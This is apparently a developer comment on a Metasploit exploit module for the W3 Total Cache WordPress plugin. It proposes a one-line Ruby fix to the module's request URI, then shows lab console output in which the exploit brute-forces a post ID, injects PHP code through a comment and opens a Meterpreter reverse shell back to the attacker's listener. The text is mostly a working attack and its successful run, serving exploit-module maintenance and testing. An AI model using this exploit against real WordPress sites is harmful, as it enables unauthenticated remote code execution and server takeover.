After change the line to:

```ruby
				'uri' => "#{post_uri.path}?#{post_uri.query}",
```

Its working again for me:

```
msf exploit(php_wordpress_total_cache) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.162:80 - Trying unauthenticated exploitation...
[*] 192.168.172.162:80 - Trying to brute force a valid POST ID...
[*] 192.168.172.162:80 - Using the brute forced POST ID 1...
[*] 192.168.172.162:80 - Injecting the PHP Code in a comment...
[*] 192.168.172.162:80 - Executing the payload...
[*] Sending stage (39195 bytes) to 192.168.172.162
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.162:35986) at 2013-08-23 10:57:57 -0500

meterpreter > 

```

Has it sense for you?